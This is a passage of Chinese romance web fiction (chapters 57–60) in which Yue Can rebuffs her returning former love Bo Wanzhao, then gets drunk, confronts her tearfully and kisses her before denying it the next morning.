余闻也乐得直笑,“不说了不说了。” 薄晚照远远看见,不知道两人在聊什么,气氛融洽开心。 忙了一个多小时,薄晚照也锻炼结束。 余闻本来打算今晚请越灿吃饭,但隐约猜到越灿和薄晚照的关系后,不想当个多余的电灯泡,她主动跟越灿说:“我有事先走了。” 越灿:“不是说一起吃饭?” 余闻笑:“改天请你。” 越灿见余闻像有急事,便不再多说什么,她背包走出健身房,没等薄晚照,独自离开。 不过薄晚照很快就跟上了她。 走出商场,晚风不再闷热,夏天快要过去了。 越灿依旧没理会一旁的薄晚照,自顾自向前走着,路口拐弯处一辆电瓶车冒冒失失冲出来。 薄晚照眼疾手快地牵住她的手,往自己身边带了带。 越灿站稳。 薄晚照松开手,问她:“怎么没跟余闻一起?” 越灿:“她今晚有事。” 薄晚照悄然吸了吸气,又低声问:“喜欢她?” 越灿微微一愣,她听薄晚照问得认真,“我喜欢谁跟你没关系吧?” 薄晚照盯着她眼眸,还是问:“我想知道,你喜欢她吗?” 又是这种引人遐想的话,一回来就招惹得自己心乱,越灿忍无可忍,她轻佻笑说:“你这么关心我感情生活干嘛?你不是想追我吧?” 薄晚照依旧眼神认真,回答她:“是。” 足够明确的一声回答。 越灿笑容渐渐淡下,她注视着薄晚照脸庞,神情保持着平静,但心情却像潮水涨落,一波波涌着。 封存起来的记忆彻底被翻出,越灿心口的酸涩也在泛滥,当初毅然决然不要自己的是她,一走数年,等自己都放下了,又突然回来,莫名其妙靠近,说想追自己…… 这算什么? 越灿一堆情绪往脑子里涌,她咬了咬唇,酸着鼻子倔强回答:“不可以。” 第57章 不想穿别人的。 “我说了别提之前的事,以前喜欢过,又不代表现在还喜欢。”越灿笑说,尽可能洒脱淡然,她不暴露过多情绪,时隔多年,本就不该再有什么情绪,要是还念念不忘,那也太没用了。 越灿给出的答复也明确。 薄晚照安静目视着,回南夏后她一直不动声色,没有挑破,就是怕这样被越灿一把推开。 离开这么久再想靠近,被推开也是理所当然,七年间能有的变数太多了…… 风吹得眼睛轻微发涩,越灿转过身继续往前走,大风从后背吹来,像是在用力推着她离开。 薄晚照原地踟蹰,想了想,还是没有直接追过去。 越灿背过身后,脸上强挤出的笑意才褪去,一直回到家,她都面色沉沉,脑子里不受控制,反复播放着薄晚照今晚跟她说的话。 没听错吧? 薄晚照说想追她…… 当初说甩就甩,现在说追就追,是觉得自己很好拿捏么?还是觉得自己依然像当年一样喜欢她? 怎么可能?她才没当年那么傻,那么卑微。她现在一想到薄晚照就烦,一想到就烦的人,怎么可能还会喜欢? 越灿坐在沙发上,越想越郁闷,她起身去冰箱里拿了罐冰镇汽水,一口气喝了大半罐,结果喝太急,胀得胃痛。 大脑总是叛逆,当你越不愿意去想什么,它就越是想着什么。 晚上越灿在床上辗转反侧,怎么也睡不着,听到连续的微信消息提醒后,她心跳失控快了几拍…… 她没马上看手机,而是将脸埋进枕头里闷了会儿。 心里乱死了。 真要追自己? 磨蹭许久,越灿才拿起手机看了看,看清消息,她心跳平静下来,不是某串字母发来的,是宋镜跟她说新店开业的事。 新店开业前夕一堆烦琐的事,宋镜忙前忙后,一天到晚累得喘不过气。 越灿最近没再去健身房,一忙完工作,就去店里帮忙。 宋镜看越灿每天都来店里,跟看见太阳打西边出来一样,“你最近怎么了,天天过来帮忙,很闲啊?” 越灿帮忙布置着展示架,吊儿郎当地说:“这个店也有我的份,我操点心不应该?” 宋镜习惯了越灿当甩手掌柜,“咸鱼突然变工作狂了,我还不适应。” “你能说点好听的吗?”越灿不满吐槽。 虽然这几天越灿天天来帮忙,但却一副无精打采的模样,宋镜看在眼里,“你最近没事儿吧?” “我能有什么事?”越灿含含糊糊回答。 宋镜说:“看你心不在焉的,气色也不太好,累就回去休息,这边忙得过来,等开业那天你过来热闹就行。” 越灿声音有点闷:“不用,不累。” 越灿虽然性子有点娇惯,但惹人喜欢,身边朋友都乐意照顾她,哪天看她不笑呵呵了,反而不习惯。 宋镜停下忙碌,“你心情不好?”她跟越灿共事这么久,太清楚越灿的脾气了,一旦心情不好就话少得可怜。 越灿没有否认,她这些天的心情就跟南夏的天气一样,阴天,沉闷。 宋镜:“跟你镜姐说说?” “暂时不想说。”越灿闷闷回答。 宋镜笑了笑,“行,你想说了再说。” 越灿也勉强笑了笑,继续忙。 那晚过后,她刻意躲着,没再碰到薄晚照,薄晚照也没给她发微信之类的。那天晚上她回答得很明确,薄晚照应该不会再提了,薄晚照又不像她,会厚脸皮死缠烂打…… 说清了互不打扰,也没什么好烦的了,越灿在心里这么想着,舒了口气,感觉轻松许多。 _ breeze分店开业在十一假期的第一天,薄晚照早早收到了宋镜的剪彩邀请函。 出发前,她在衣帽间里挑了许久,最后选了一条裹身的吊带长裙。 分店开业是大事,宋镜没少花心思,几乎动用了圈内的全部人脉,能邀请的人物都邀请了。 越灿把钟然和洛扬也叫了过来,充充人气,一起热闹。 九点的时候,越灿看到钟然和洛扬又像连体婴一样出现了,不过好像比往常更亲密,手是牵在一起的。 钟然看到越灿后,莫名觉得尴尬,她松了松洛扬的手,“富婆,事业越来越红火了,恭喜恭喜。” 越灿笑说:“我带你们逛逛。” “我们自己逛,你忙。”洛扬善解人意,知道越灿今天肯定要招待其他客人,她们自己人随意就好。 越灿也不客气,今天宋镜找来的贵宾确实多,“也行,里面有水果和蛋糕,忙完了我来找你们。” 那头宋镜也风风火火的,看着手表时间,问越灿:“你姐还没来?” 越灿看看别处,“我不知道。” 宋镜:“你给她打个电话,问一下什么时候到,十点要剪彩。” 越灿:“为什么我打?” 宋镜愣了愣,被问住了。 越灿又轻飘飘说:“放心好了,她答应了就肯定会准点到,不用催。” 宋镜听越灿这么说,安了安心。 越灿单纯凭直觉说的,尽管多年不联系,但她就是觉得,薄晚照是一丝不苟的人。 一上午,越灿都忙着跟其他人商业互夸,有不少合作方的人过来。 “越灿,越来越漂亮了,下次我们有个广告,有兴趣合作吗?” “当然感兴趣……”越灿笑得春风满面,她正跟人聊着,视线不经意往外瞥瞥,然后悄悄定格。 薄晚照从一辆黑色汽车里出来,手里捧了束鲜花,墨绿色的吊带裹身裙典雅大气,不管脸蛋还是身材,都漂亮惹眼,引来许多人目光围观。 温柔但又有野心,这一身的确很适合薄晚照。比起当年的隐忍温和,越灿觉得现在才是薄晚照最真实的模样。 越灿又同身边的人交流几句,尔后听到高跟鞋的声音渐渐走近,她佯装漫不经心转头,如她所料,薄晚照朝她走了过来。 薄晚照将手里的花束递给她。 越灿霎时想到高三的艺术节,那晚薄晚照捧着花束,在校内等她放学,那时她们都穿着青涩朴素,远不像现在这般成熟。 后来,越灿还是时常梦到薄晚照等她放学的情形,她也说不清所以然,或许她年少时早早就对薄晚照心动了,在自己都毫不知情的状况下。 薄晚照同样思绪飘远,愣神片刻,她回神说:“恭喜。” 越灿迟疑一会儿,还是接过花,客套说了句“谢谢”,作为breeze的小老板,她收下这束花没什么特别的含义,就跟收下一句“开业大吉”一样。 不用自己接待,宋镜和其他人马上迎了过来,跟薄晚照打着招呼。 剪彩仪式过后,越灿闲了下来,剩下的交际重任都交给宋镜了,没自己的事。 越灿跑去找钟然她们吃东西闲聊,她看见不少人搭讪着薄晚照,又是攀谈又是合照,变成薄总后,迷倒更多人了。 薄晚照跟身边的人聊了几句,走到餐台前拿起杯香槟酒。 钟然见了,主动热情地跟薄晚照碰杯,见了美女一如既往嘴甜:“晚照姐,你今天太漂亮了!” “谢谢。”薄晚照笑了笑,然后看向越灿。 越灿无奈,一起碰了碰杯。 薄晚照才抿了一口酒,又被人叫到边上说话寒暄。 钟然等薄晚照走后,挪动到越灿身边,尽管洛扬提醒过她不要在越灿面前提薄晚照,但她实在是忍不住。 越灿看钟然有话要说不说的,“你想说什么?” 钟然问:“你不心动吗?”刚刚薄晚照看越灿的眼神,都快拉丝了。 没等越灿回答,洛扬轻轻飘来一句:“你很心动?” “啊?”钟然回头看看洛扬,一种叫求生欲的东西涌了上来,她吞吐着,“不是啊,我是问灿灿……” 越灿抿了口酒,看着钟然淡淡然说:“还好吧,有什么好心动的。” 钟然服气了,她换位思考了一下,要是自己喜欢多年的人,用刚刚那种眼神看自己,她一秒都抗不住。 “薄总,我有外套,你要不要穿一下?” 薄晚照:“不用了,谢谢。” “还是穿一下吧,今天挺凉的,小心感冒。” 薄晚照还是婉拒了。 要风度不要温度,今天天气转凉,越灿都没穿太清凉,不用想,薄晚照穿个吊带裙肯定冷。 薄晚照跟那人合了照,又走到越灿面前,“你这有外套吗?” 突然的搭话,越灿瞧瞧她,没回答。 薄晚照:“有点冷。” 越灿不禁低声吐槽:“知道今天冷,还穿这么清凉。” 薄晚照默了默,只是盯着她看。 越灿又说:“刚刚不是有人借给你……”她说完意识到什么,立即静了静,继续保持若无其事的状态。 薄晚照声音轻了轻,“不想穿别人的。” 第58章 你还问我? 薄晚照这声说得很轻,像两人之间的悄悄话,越灿望着她脸庞,慢悠悠回答:“没有。” 说完,转身离开。 薄晚照被晾在原地。 越灿又拿起杯酒,心不在焉往嘴边送了送,没喝出味道。 “哎,你少喝两口。”钟然及时叫住越灿,越灿那点儿酒量比她还差。 越灿回神后放下酒杯,心跳还有点儿快。 钟然朝越灿使着眼色,神神秘秘问:“什么情况,在追你?” 越灿露出满不在乎的神情,“什么都没有。” 钟然用狐疑的目光打量她,越灿不想多说,她也不好一直问。 越灿呆了会儿,独自往另一个房间走去。 薄晚照留意着越灿的身影,过了两分钟,她摸着胳膊,看见越灿拿了件外套朝她走了过来。 越灿给她递过去,“新的,没人穿过。”好歹是开业请来的贵宾,她作为老板,也不能让贵宾着凉。 薄晚照伸手接过,“回去我还你。” 越灿立即说:“不用,送你,就当是项链的回礼。” 钟然在一旁瞧见,这回有点相信洛扬的猜测了,以越灿的脾气,要真不想搭理某人,那绝对连面都不会见一下。 正出神,钟然感觉自己腰被人掐了一把,她回头看,瞧见洛扬闷着一张脸。 钟然意识到哪里不对,贴近她,笑嘻嘻的,偷偷去牵她的手。 洛扬躲开她的手,十足高冷地说:“别牵我。” 钟然委屈:“……” 她不是刻意回避公开关系,就是每次见到越灿,都尴尬不知怎么开口,毕竟之前她总是信誓旦旦说,自己跟洛扬是“清白”的。 _ 快入秋,南夏陆续下了几场雨,树叶被雨水砸蔫了,一片片叶子耷拉着,往下滴水。 越灿托腮看着窗外,不知不觉间又走了神,雨天她总能想起某个名字,薄晚照回来之后,这个毛病更严重了。 “越老师,还要休息吗?” 听到工作人员的提醒,越灿才想起休息时间到了,她从座椅上起身,继续拍摄。 连续两天都是高强度的工作,晚上收工时,越灿只有一个感觉:累,人都快累死了。 走出室外,越灿呼吸着湿漉漉的空气,心里格外烦闷。尽管累,但她没马上回家,而是开着车在街头闲逛。 雨天她不爱一个人待着,尤其是薄晚照离开的前几年,她喜欢叫朋友出来一起热闹,次数多了,钟然发现了猫腻,吐槽她怎么一下雨就想聚会。 因为一个人待着会想不该想的人,尽管后来释然了,但雨天不想一个人,莫名其妙变成种习惯。 越灿在街上逛了半小时,发现离钟然住的小区挺近,她开车拐了过去。 雨渐渐也小了。 越灿将车停在路边,坐在车内,拨通了钟然的电话,可许久都没人接听,她看看时间,这个点不至于睡了吧? 又打了一通,还是无人接听。 钟然就住在低楼层,越灿透过车窗往外看了看,明明房间灯是亮的,或许是在洗澡没听到。 都到了这,越灿下车直接过去。 手机在客厅,而钟然在卧室,她听到了手机来电,但正焦头烂额的,压根没空接听。 “我知道错了,行吗?”钟然躺在床上喘着气,小声嘀咕,“你怎么这么记仇啊?” 因为地下恋的事,洛扬已经跟她生了好几天闷气,她想着各种办法在哄。结果哄着哄着…… 洛扬理直气壮:“我就是记仇,你第一天知道?” 钟然逐渐说不上话。 洛扬低声问:“现在习惯我们这样了吗?” 钟然无语,之前就说过一次不习惯她们现在的关系,她羞红脸说:“那也不用天天做吧?” 越灿在楼下便利店买了些零食和酒,轻车熟路地上楼,钟然家是密码锁,之前钟然给她发过密码。 她们几个玩得好,基本都知道对方家的密码。 进屋后,客厅里灯是亮的,越灿在门口叫了声:“钟然,我来了,你怎么不接电话?” 客厅里没人,越灿径直往卧室走去,结果整个人僵在了卧室门口。 钟然和洛扬睡在一张床上很正常,但是满地都是凌乱的衣衫,情况就不太正常了。 “我……”钟然张了张嘴想说什么,最终尴尬得半个字都蹦不出一个,想死的心都有了。 一向淡定的洛扬也面露窘色。 越灿同样尴尬避开了视线,这场面虽说突然,但她也算不上震惊,这两人终于弄到一起了。 这种情况多待一秒都不合适,越灿离开卧室,背身留下一句话:“路过给你带点吃的,我走了。” “灿……”钟然想将人叫住,准备下床又想起身上一。丝。不。挂。 洛扬也无奈,“下次再解释吧。” 钟然瞪了瞪她,“都怪你。” 洛扬恢复了镇定,“我们又不是偷情,有什么关系?” 钟然:“……” 越灿顶着尴尬下了楼,她猜钟然跟洛扬在一起已经有段时间了,难怪钟然这阵子忙得不行,约都约不出来。 回到车里,越灿想着其他去处,临时联系了几个朋友,不是没空,就是要陪女朋友。 越灿看着消息语塞,怎么,全世界就剩自己单身了么? 犹豫片刻,她开车去了breeze,正好请员工们吃宵夜。 breeze的工作氛围很好,知道老板请客,几个人都乐意留下来小聚。 越灿:“大家随便吃啊,不够再点,今晚全都我请客。” 宋镜看见一群人聚在一块儿热闹,问越灿,“有什么好事,这么庆祝?” “没事不能热闹?”越灿挑挑眉,“镜姐,一起。” “我还要赶设计稿,你们潇洒。”宋镜说完往自己办公室去了。 越灿不饿,没吃什么东西,多喝了几杯酒,她看着身边有说有笑的人,偶尔也加入聊天,被热闹包围着,可心底还是有说不出的孤独难过。 吃完宵夜,陆陆续续人都走了,越灿还坐着,没离开的意思。 宝儿问:“你还不走?” 越灿摇摇头,“你先走吧,我再待会儿。” 宝儿看她状态不太好,“没事吧?” 越灿:“没事。” 再三询问过后,宝儿也离开了,就剩越灿一个人坐在沙发上。 宋镜一直画图画到十一点,出来后工作室里冷冷清清,她发现越灿还在,惊讶问:“你怎么还没回去?” 越灿回头看宋镜,笑说,“镜姐,一起喝两杯。” 宋镜走到沙发边,看她眼神都迷糊了,“你喝醉了吧?” 越灿将人拽过来,“你陪我喝两杯嘛。” 宋镜拗不过,陪她喝了一点。 越灿想着喝了酒,今晚肯定能睡个好觉,她提前跟宋镜说着:“镜姐,晚点你送我回去。” “你真好意思,别喝了,我现在就送你回去。”宋镜想拦住她。 越灿:“再喝一会儿。” 宋镜苦笑说:“小姑奶奶,我求你放了我吧,我现在都困死了,眼睛都快睁不开,别熬了,我年纪大了熬不动,心疼一下老年人好不?” 越灿犟着,还是不走。 宋镜察觉出她情绪不对,耐心问:“到底怎么了?” “我好累啊。”越灿嘀咕着,“镜姐,我好累……” 宋镜放下酒杯,“累就回去休息嘛,走,我送你回去。” 越灿不说话,往桌子上一趴,一直摇着头。这段时间觉得累,她很清楚,不只是工作带来的。 自欺欺人很累,耿耿于怀要装作若无其事很累,在意要装作不在意很累,心动要装作不心动很累,没放下要装作放下了很累。藏不住心事的人,偏要藏一肚子心事,真的很累。 尽管之前她洗脑过自己无数遍,不再喜欢薄晚照了,可薄晚照一回来,就前功尽弃了…… 她不想承认这点,但她每一次否认对薄晚照的在乎,心里都更确定着她对薄晚照还在乎。 宋镜紧张问:“到底发生什么事了?” “我……”越灿看看宋镜,虽然心事憋着很难*受,但心里的话说却怎么也不出口,她晃晃脑袋,“我不说,太没出息了……” 宋镜哭笑不得,“有什么事跟姐说,姐帮你排忧解难。” “姐?”越灿轻轻重复了一声,含糊叫了叫,“薄晚照……” 前言不搭后语的,宋镜听她念叨了好几声薄晚照,“你要你姐过来?” “我姐?”越灿啄了啄脑袋,“嗯,薄晚照是我姐,只能是我姐……” 什么跟什么,宋镜为难,又不能把越灿一个人甩这,她想着要不给薄晚照打个电话?但这大半夜的多不方便,她好声好气跟越灿商量,“灿啊,我现在真的很困,我送你回去。” 越灿还是拽着人不放手,“不要。” 宋镜快要哭了,迫于无奈,她还是选择给薄晚照打了电话,否则今晚自己别想睡觉了。 薄晚照接到宋镜的电话时,已经关了灯,半睡半醒的状态。 “不好意思,大半夜给你打电话,越灿喝多了,好像要找你……”宋镜语气略带尴尬,大半夜的打个莫名其妙的电话,要叫人过来。 薄晚照从床上坐起身,仓促问着:“在哪?我现在就过来。” “就在工作室。” “嗯,我马上来。你先帮我看着她,麻烦了。” 宋镜意外,发现自己的尴尬完全是多余,薄晚照压根没有犹豫为难,直接就要过来。 薄晚照匆匆换了身衣服,开车出门,深夜路上车少,一路畅通无阻,她提前十分钟抵达目的地。 她上了二楼,宋镜还陪着越灿,越灿已经是醉醺醺的状态。 宋镜看向薄晚照,有种等来救星的如释重负,“她不知道怎么了,喝多了也不让我送她回去,还念叨你,我没办法只好把你叫过来。” “嗯。”薄晚照走近,“辛苦了,你先回去吧,我陪她。” 宋镜担心,“你一个人能行吗?我搭把手吧。” 越灿又嚷嚷一句:“我不走。” 宋镜:“……” 薄晚照温声说:“没事的,我照顾她就行。” “那行,我先走了。” 宋镜走后,薄晚照在越灿身边坐下,“还不回去吗?” 越灿转头,晕晕乎乎看着薄晚照的脸,盯着看了许久,才小声问:“你来干嘛?” 薄晚照柔声说:“接你回去。” 越灿还紧紧盯着她脸庞,心跳又分外明显,越对薄晚照心跳她越难过。她原本以为这件事很简单,薄晚照让她难过了,那她不喜欢就是了。 可她发现喜欢薄晚照难受,不喜欢薄晚照同样难受,她上辈子欠薄晚照的吗? 越灿不再刻意压着情绪,实在太辛苦,她望着薄晚照,慢慢红了眼圈。原来有的伤心过了七年,也没办法被时间冲淡…… 薄晚照盯着她红通通的眼圈,伸过手,轻柔帮她理了理头发,“怎么喝成这样?” 越灿再也藏不住委屈,气呼呼冲她说:“你还问我?” 第59章 吻得越深越止渴。 越灿委屈宣泄着情绪,因为薄晚照难过,也因为放不下薄晚照而难过,她明明那么洒脱,怎么一面对薄晚照就不争气了? 薄晚照安静摸着越灿头发,目光久久停驻,越灿的眼神显然在说,她的难受与自己有关。 越灿躲开薄晚照的手,醉醺醺嚷道:“你别碰我……” 薄晚照靠近她说,“走了,我们回去。” “我不跟你回去……不用你管……我们什么关系啊……你别来管我……”越灿喝醉挺折腾人的,比平时更任性,哼了一堆,她脑袋晕得不行,闷闷低下头。 薄晚照搂住她,“难受?” “都难受死了……”越灿说着,就近将头抵在薄晚照肩上靠着,闭眼一动不动。 薄晚照稍稍偏头,小心翼翼地将人抱进怀里,“下次别这么喝了。” 被心动的香气包裹,越灿心跳怦然,但嘴上继续不饶人,“你别抱我,不要你抱……” 薄晚照没松开,反而抱紧了几分,继续拥抱安抚。 越灿陷在温暖中,使不上劲,她没再挣开,只安静将头埋在薄晚照颈窝,这样好受些。 空气静谧。 片刻,越灿发出一声呢喃:“薄晚照……” 薄晚照轻声应:“嗯。” 越灿黏黏糊糊哼着:“我难受……好累……” 薄晚照:“我们回去。” 越灿还是执拗说:“不要。” 薄晚照揉着她脑袋,像以前她们相处那样,凑到她耳边轻声哄着,“先回去,好不好?” 越灿还是吃软不吃硬,被温柔哄着,她渐渐静了下来,没再犟。 薄晚照抱了一会儿,搂着她起身,越灿歪歪扭扭配合,已经晕得走不了直线。 越灿酒量差,多喝几杯就能倒,今晚的酒虽说度数不高,但她心情烦闷,闷声闷气喝了许多。 室外还下着细雨。 “又下雨……” “讨厌死了……” “薄晚照……” “你烦死了……” …… 越灿叽叽喳喳说了一路,薄晚照费了好大劲才将人扶进车内,身上出了层细汗。 薄晚照驱车返回。 越灿歪在座椅上靠着,嘴里时不时喃喃几句话。 薄晚照听不太清,但听到越灿叫了好几声“薄晚照”,每一次听越灿醉醺醺念叨她名字,她内心五味杂陈。 到了小区后,薄晚照直接将越灿带回了自己那,越灿的状态,她也不放心让越灿一个人。 “到了吗?”越灿压根不知道自己到了哪,看到沙发就自觉躺了下去,抱着薄晚照一起。 薄晚照不轻不重压在越灿身上。 越灿脑子都晕了,什么都不顾,喜欢鼻子嗅到的味道,于是她本能将薄晚照抱紧着,鼻尖又蹭又嗅。 薄晚照心跳着,“越灿。” “嗯?”越灿脸颊烫得难受,她边叹气边用脸颊往薄晚照颈间贴,不停蹭着,觉得舒服。 薄晚照由着她不规矩,气息渐重,她低声说:“先松开我,我给你倒水。” “不要……”越灿还是将人抱着,死皮赖脸不松开。 薄晚照拿她没辙,先让她抱会儿,又怕压着她,于是翻身跟她一起躺在沙发上,沙发够大,躺两个人绰绰有余。 越灿眯眼小憩,呼吸带着浓浓的酒气。 薄晚照看她双颊红得厉害,用自己微凉的手帮她降温,她细细抚过越灿脸颊,目光也趁机细细打量。 “薄晚照……” 越灿又极轻地叫了声。 薄晚照试着应她:“我在。” 越灿睁了睁眼,眼神依然满是醉意,她打量了眼前的人好一阵,醉酒带来的晕眩感,让人分不清虚虚实实。 有些话憋在心里难受,必须说出来才舒畅,越灿没好气地问:“你走就走了,又回来干嘛?” 薄晚照目光软了软,如实告诉她:“想回来见你。” 越灿稍怔,立即又摇头,“我不信……你才不会想我……当初说不要我就不要我……现在又莫名其妙回来找我……” 越说越难受,越灿忍了许久的眼泪溢出眼眶,还是控制不住哭了,果然哭出来更好受些。 薄晚照霎时鼻酸,她手心托住越灿脸颊,帮她擦着眼泪。 “你说的,只能把我当妹妹。”越灿细看靠近的脸庞,越发委屈,她情绪失控,缠着薄晚照一声声叫着,“姐,姐姐,姐……” 七年前的点点滴滴她依旧耿耿于怀,根本就没放下过。 “这样你听够了吗?” 薄晚照帮她擦着越来越汹涌的眼泪,自己眼眶也红了起来,逐渐湿润,“是我不好。” “你又来招惹我,然后招惹完又走,是不是……”越灿说着。 薄晚照认真看着她,声音轻颤,“不走了,这次再也不走了。” 越灿沉默盯着她,迷糊眨了眨眼,转而逞强冷笑着说:“我才不信……你走不走都不关我事……我不在乎了……我一点也不在乎……” 薄晚照看她带笑却含泪的模样,心被揪了起来,她回来这么久,第一次看到越灿真实的情绪,意识到这段时间,越灿的轻松淡然都是在硬撑。 她没想过越灿是在硬撑,或者说,她不敢这么想。她觉得越灿理应是释然的,越灿足够好,也有很多更好的选择……她凭什么觉得越灿还放不下自己?当初不告而别,又一别多年,她凭什么觉得越灿对自己还有喜欢? 她希望越灿可以开开心心的,她本以为自己的离开会让越灿过得更好,可七年过去,她看见越灿还是因为她哭得伤心…… “是我不好。”薄晚照重复说着,有泪水无声从眼角滑下,她知道自己会伤到越灿,但不知道会伤这么深。 越灿:“你就是不好,一声不吭就走了……” 薄晚照鼻酸问着:“讨厌我吗?” 越灿:“你说呢?讨厌死了……” 薄晚照顿了良久,又柔声问:“那,还有一点喜欢我吗?” 她只敢问一点,不敢问太多。 越灿静了几秒,“没有了,一点也不喜欢你了……你什么都不说,一声不吭就走……喜欢你太累了,再也不喜欢了……” 薄晚照又揉揉她头发,轻轻抚摸,“以后什么都告诉你,好不好?” 越灿瞧见她投过来的眼神,温柔似水,撩得人心动,她心跳加速着,伸手捂住薄晚照眼睛。 眼前忽然一片黑,薄晚照不明所以。 越灿倔强呢喃:“不许这么看我,我现在不吃这套了……” 薄晚照让她捂着,无奈又酸楚地笑了笑。 盯着眼前温柔扬起的唇边,越灿眼神颤了颤,还是难以按捺,她掌心依旧捂着薄晚照眼睛,悄然凑唇吻了过去。 唇上落下的亲吻突然,薄晚照轻叹了声,“嗯。” 越灿在她唇上贪婪吻着,捂眼的掌心慢慢滑落,转而勾住她脖颈。 薄晚照半合着眼,呼吸更急。 越灿晕乎乎翻了个身,抵在薄晚照身上,亲吻继续往唇瓣上落。 薄晚照呼吸颤着,她抵着越灿鼻尖,这一刻像是在梦境,她摸着越灿脸蛋,体温给她真实感。她肆意心跳,轻声问怀里的人:“知道我是谁吗?” 越灿也看着她,双目朦胧,软乎乎说:“魔鬼,甩了我的人……”说罢,她径直朝薄晚照唇上咬了过去,带着满满的情绪,用了劲,报复性一般。 薄晚照吃疼,但没疼太久,深吻带来的满足感盖过了疼痛。 越灿觉得好渴好渴,而吻得越深越止渴,她情不自禁。 “嗯——”薄晚照唇被急躁的软舌直接撬开,带着酒气的吻热烈,充满侵略性。她情绪彻底被调动,抱着越灿腰肢,主动凑紧唇让越灿吻着。 越灿扶在薄晚照颈间的手往下移着,一边重重深吻,一边笨拙挑开一颗颗衣扣。 薄晚照微睁睁眼,急促呼吸,由她,怎么都依她。 第60章 贪恋一刻是一刻。 越灿气急败坏,时不时在薄晚照唇上报复啃咬,直至被搂腰回吻,她才软了软,渐渐温柔下来,只顾吮吸对方送来的唇舌。 掌心细细描绘着曲线,薄晚照张唇迎着越灿灼热的亲吻,身体不受控制在轻颤,她很清醒,但还是跟越灿一样冲动着。 大部分时候她都能保持理性,除了面对越灿时,多年过去,如今依旧。 就像在梦里有过的许多次,越灿迷迷糊糊的,边亲边口口薄晚照衣服,只是醉后的动作温吞。 薄晚照没有制止,依然热切回应着深吻,鼻息越来越重,冲动中又带着珍视,她不知道越灿还愿不愿意接受她,但,能贪恋一刻是一刻。 吻又深又急。 越灿低哼了哼,本就头昏脑涨,这时几乎透不过气,她很快移开唇,游走的手也停下,然后晕乎乎趴在薄晚照身上,气息凌乱。 薄晚照喘气陷在沙发里,衣领松松垮垮从肩头滑落,她心跳难以平静,偏头看,越灿安静了下来,没再继续放肆。 灼热焦躁的氛围止住。 薄晚照面颊绯红,心口还起伏着,她揉了揉越灿头发,望着越灿醉醺醺的脸庞,无奈深呼吸着,好一会儿都缓不过来。 这么安静抱了十几分钟。 越灿皱眉哼着:“嗯……” 薄晚照安抚摸着她的背。 “难受。”刚刚闹了会儿,越灿此刻软绵绵得像滩水,什么劲都没了,只是懒洋洋窝在沙发里,一动也不想动。她任性呢喃着,“渴……口渴……” “我去倒水。”薄晚照整理好衣服,从沙发上起来,转身去厨房倒水,自己也喝了半杯凉水。 越灿着实渴了,捧着水杯喝了大半杯水,喝完又疲惫栽倒在沙发上。 薄晚照用手指勾开她散乱的长发,“去床上睡。” 越灿:“不要……” 薄晚照哄小孩似的:“听话。” 越灿还是:“不听……” 薄晚照皱眉一笑,都二十六了,喝醉了还跟当年一样幼稚任性,她在越灿身畔坐下,又小心翼翼摸了摸越灿泛红的脸颊,目光久久徘徊。 夜里凉,她拿了条薄毯过来,盖在越灿身上,自己又去厨房冲蜂蜜水,给她解酒。 冲好蜂蜜水后,薄晚照转头看看客厅,越灿已经从沙发上离开,正慢吞吞往浴室走去,边走还边脱着身上的衣服,乱糟糟扔了一路。 越灿又晕又困,只想睡觉,但她睡前必须雷打不动洗个澡才行,否则浑身难受。 薄晚照担心跟了过去。 浴室门一关,传出哗哗水声,须臾,又有碰倒东西的声音,薄晚照闻声,还是推门走进了浴室。 浴室里氤氲热气。 醉鬼发出黏糊糊的反问:“你干嘛,我洗澡呢……” “抱着我,别乱动。”薄晚照将人搂住,哑声说着,然后拿过花洒,帮她简单冲着身子。 空气滚烫,令人喘不过气。 越灿往薄晚照身上靠了靠,虽然晕得难受,但依然坚持洗澡的原则,断断续续软声说着,“沐浴露……要抹沐浴露……洗干净点……” “你规矩点。”薄晚照呼吸乱成一团,拿过一旁的浴巾往越灿身上裹,只想磨人精消停些,快点擦干出去。 等帮越灿洗好澡,她身上也湿了大半,她站在淋浴下,冲了许久。 …… 次日醒来,越灿还没从宿醉的难受中走出来,但头脑恢复了清醒,她低头看看,身上不着寸缕,她心跳骤然快了快。 破碎的记忆延迟浮现在脑海。 昨晚薄晚照来breeze接她,她跟薄晚照说了很多话,依稀记得一部分,她赌气咬了薄晚照,然后,她们好像又接吻了,是薄晚照帮她洗的澡,洗完澡她迷迷糊糊栽倒在床上睡下…… 脑袋里浮现的画面朦朦胧胧,越灿揉着太阳穴,又像只是梦。越想越乱,她瞥见床边整齐叠着自己的衣服,已经洗好烘干了。 越灿心猿意马穿上衣服,走出卧室。 今天阴天夹杂细雨,落地窗外的景色雾蒙蒙的。 薄晚照没去公司,在客厅居家办公,她正浏览着工作邮件,听到脚步声后,抬头看了看。 越灿同她对视上,一时语塞。 薄晚照问她:“头还晕吗?” 越灿心不在焉回了句“还好”。 “嗯。”薄晚照咳了好几下。 越灿听她说话带着浓浓鼻音,脸色也很差,她瞥了瞥沙发,昨晚上薄晚照应该是在沙发上过的夜。 薄晚照又说:“洗漱一下,吃早餐。” 越灿心里乱得很,哪还有心思吃早餐,“我不吃了。” 薄晚照说:“已经做好了,吃点。”没等越灿再说什么,她直接去厨房盛粥。 越灿洗漱完出来,餐桌上摆着热乎乎的南瓜小米粥,还有自己爱吃的虾饺,她的确饿了,胃里空得难受。 薄晚照:“吃了会舒服些。” 越灿稀里糊涂在餐桌旁坐下,小口喝着暖胃的粥,薄晚照就坐在她对面,也淡淡然喝着粥。 空气沉寂,谁也没提什么。 越灿留意到薄晚照嘴唇破了,显然是被咬破的,所以昨晚那些朦胧的画面,都是真的。 她们又接吻了。 越灿硬着头皮吃早餐。 薄晚照开了开口:“昨晚……” 没等薄晚照说出口,越灿飞快回答她:“昨晚我喝多了。” 薄晚照稍顿,转而问:“还难受?” “不是这个意思,”越灿放下手中的汤匙,看看薄晚照,“喝多了一时冲动,别放心上。” 接吻算什么? 她们以前也接过吻,不也什么都不是。 越灿说得平静冷淡,和昨晚热情缠人的模样判若两人,薄晚照没接她的话,转过头又咳了一阵,咳得胸腔生疼。 薄晚照素来体质弱,越灿是知道的,“你昨晚睡在沙发上?” “嗯。” 昨晚睡沙发肯定着了凉,越灿听薄晚照一阵阵咳着,脸色也苍白,“你干嘛不上床睡?” 薄晚照沉默瞧瞧她。 越灿想到醒来时自己光溜溜的一身,也哑了哑。她将剩下一只虾饺吃掉,“我吃好了,走了。” 薄晚照抬眸望她,“不多待会儿?” 越灿甩出两个字:“不了。” 起身后,越灿漫不经心瞥瞥她,还是随口嘟哝了句:“你记得吃药。” 薄晚照注视她脸庞,“嗯。” 越灿匆匆离开。 